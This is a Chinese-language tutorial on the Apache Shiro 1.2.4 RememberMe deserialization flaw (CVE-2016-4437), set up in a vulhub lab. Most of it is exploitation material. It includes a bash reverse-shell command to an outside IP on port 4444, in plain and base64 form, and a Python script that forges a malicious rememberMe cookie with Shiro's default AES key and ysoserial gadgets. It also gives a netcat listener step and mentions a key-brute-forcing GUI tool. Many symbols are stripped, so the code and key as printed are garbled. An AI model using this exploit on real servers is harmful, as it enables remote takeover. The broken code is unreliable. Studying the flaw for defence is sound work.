1. 简介1.1 Apache ShiroApache Shiro简称 Shiro是一个功能强大且易于使用的 Java 安全框架用于身份验证、授权和加密等安全功能。它提供了一套统一的安全API可以轻松地集成到Java应用程序中。Shiro 的主要功能包括身份验证Shiro 可以处理用户身份验证支持各种常见的认证方式如用户名/密码、LDAP、OAuth 等。它还提供了许多可插拔的身份验证 Realm可以根据自己的需求进行定制。授权Shiro 提供了基于角色和权限的授权机制。您可以定义角色和权限并在代码中进行简单的注解或编程式授权。Shiro 还支持细粒度的权限控制可以对单个资源进行授权。会话管理Shiro 可以管理用户会话支持不同的会话存储方式如内存、数据库、Redis 等。它提供了会话管理和集群环境下的会话共享功能。密码加密Shiro 提供了对密码进行加密和散列的功能可以确保用户密码的安全性。Web集成Shiro 提供了与 Java Web 技术的无缝集成支持常见的 Web 框架如Spring MVC、Struts等。1.2 工 作 原 理Apache Shiro框架提供了记住我的功能RememberMe用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMecookie的值是经过对相关信息进行序列化然后使用aes加密最后在使用base64编码处理形成的。Shiro记住用户会话功能的逻辑为获取RememberMe的值 — Base64解密 — ASE解密 – 反序列化在服务端接收cookie值时按照如下步骤来解析处理1、检索RememberMe cookie 的值 2、Base 64解码 3、使用AES解密(加密密钥硬编码) 4、进行反序列化操作未作过滤处理 在调用反序列化时未进行任何过滤导致可以触发远程代码执行漏洞。1.3 漏洞描述漏洞说明受影响版本Apache Shiro 1.2.4漏洞名称Apache Shiro 1.2.4 反序列化漏洞即shiro-550反序列化漏洞。漏洞编号CVE-2016-4437危害等级高危漏洞类型RCEShiro550 反序列化漏洞原理记住我的功能开启之后会有Cookie 数据Cookie 数据其实就是加密后的经过序列化的用户对象也就是二进制字节流。加密算法是AES 算法算法很安全但是秘钥是固定的并且存储于源码中。漏洞特征shiro反序列化的特征在返回包的 Set-Cookie 中存在 rememberMedeleteMe 字段2.漏洞复现手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用这里漏洞检测和利用的方式有两种一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证2.1 搭建环境使用vulhub进行环境搭建cd/vulhub/shiro/CVE-2016-4437执行docker compose up -d启动漏洞环境访问ip/8080如下环境搭建成功2.2 判断框架勾选RememberMe字段输入任意账号与密码点击登录返回包set-Cookie会有rememberMedeleteMe字段说明使用了shiro框架2.3 漏洞验证1. 生成反弹 Shell 命令由于 Java 的Runtime.exec()无法直接解析|或等管道符我们需要对 Bash 命令进行 Base64 编码。原始命令bash -i /dev/tcp/8.146.204.157/4444 01编码处理建议使用在线工具或以下方式转换确保命令如下bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC84LjE0Ni4yMDQuMTU3LzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}2. 使用脚本生成恶意 Cookie我们需要一个 Python 脚本来完成以下工作生成playload脚本代码exp.py​​​​​​​import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AES# 配置信息JAR_PATH ysoserial.jar # 确保同目录下有这个文件KEY kPHbIxk5D2deZiIxcaaaA # Shiro 默认 Keydef get_payload(gadget, command):# 调用 ysoserial 生成原始序列化字节cmd [java, -jar, JAR_PATH, gadget, command]return subprocess.check_output(cmd)def encrypt(payload):# Shiro 固有的加密逻辑AES-CBC 模式key base64.b64decode(KEY)iv uuid.uuid4().bytes# PKCS7 PaddingBS AES.block_sizepad lambda s: s (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()cipher AES.new(key, AES.MODE_CBC, iv)ciphertext cipher.encrypt(pad(payload))return base64.b64encode(iv ciphertext)if __name__ __main__:if len(sys.argv) 3:print(Usage: python3 shiro_exp.py Gadget Command)print(Example: python3 shiro_exp.py CommonsCollections2 touch /tmp/success)sys.exit(0)gadget_name sys.argv[1]cmd_to_exec sys.argv[2]final_cookie encrypt(get_payload(gadget_name, cmd_to_exec))print(\n[] 复制以下 Cookie 到请求头的 rememberMe 字段:\n)print(final_cookie.decode())3.监听4444端口nc -lvvp 44444.运行脚本生成 Cookiepython3 exp.py CommonsCollections6 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC84LjE0Ni4yMDQuMTU3LzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}5.抓包将生成的cookie前往bp替换然后重新发包6.成功接收反弹shell2.4使用jar自动化工具相较于上面的python脚本图形化工具操作起来更加的简单输入url然后点击检测当前秘钥就会看到提示存在shiro框架然后点击爆破就会出来然后点击检测再点击爆破利用链最后在命令执行处直接执行命令成功3.修复建议1、升级Apache Shiro2、部署安全产品